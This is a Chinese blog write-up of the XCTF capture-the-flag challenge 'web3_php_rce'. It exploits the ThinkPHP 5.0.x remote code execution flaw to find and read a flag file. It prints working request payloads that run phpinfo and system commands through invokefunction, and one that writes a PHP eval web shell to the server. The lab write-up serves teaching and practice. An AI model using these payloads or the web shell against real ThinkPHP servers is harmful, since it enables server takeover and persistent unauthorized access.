【XCTF高手进阶区】web3_php_rce writeup

web3_php_rce

原题链接

key:ThinkPHP5远程代码执行漏洞

 

①环境打开后页面长这样式的👇

 

②题目是php_rce,不妨先来了解一下什么是rce👇

知识补充:

1. 什么是rce(远程代码执行漏洞)
远程命令/代码执行漏洞,简称rce漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。

2. 漏洞产生的根本原因
服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

页面也说明了是ThinkPHP V5版本,百度得知这个版本的确有远程代码执行漏洞👇

关于ThinkPHP5的rce漏洞预警

可知ThinkPHP 5.0<5.0.23&5.1<5.1.31版本在没有开启强制路由的情况下可能存在远程代码执行漏洞,攻击者通过该漏洞可能完全控制Web服务器

于是乎我们可以利用这个漏洞来解题

 

③执行phpinfo可以查看php的版本👇

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

执行成功,拖到底部可以看到ThinkPHP的版本确实是5.0.20(证明出题人没忽悠我们)

 

既然能执行phpinfo,当然也可以执行其他命令

比如这个格式的payload可以执行指定的system命令👇

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(命令)
  • ls查看  ls
  • 上一级  ls ../
  • 根目录下  ls /
  • 打开文件   cat /文件名

先在同级目录下寻找,没找到

逐级查看上级目录,最终看到一个名为flag的文件,打开获得flag

 

当然还有更风骚的解法

构造payload,先查找flag文件👇

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

发现flag,cat打开👇

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

 

还可以利用刚刚学过的一句话🐎

构造payload执行file_put_contents上传命令,传个🐎

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][1]=<?php eval($_REQUEST["shell"]);?>

用蚁剑连接后,在主目录下找到flag

å¨è¿éæå¥å¾çæè¿°

 

 

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Mitch311

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值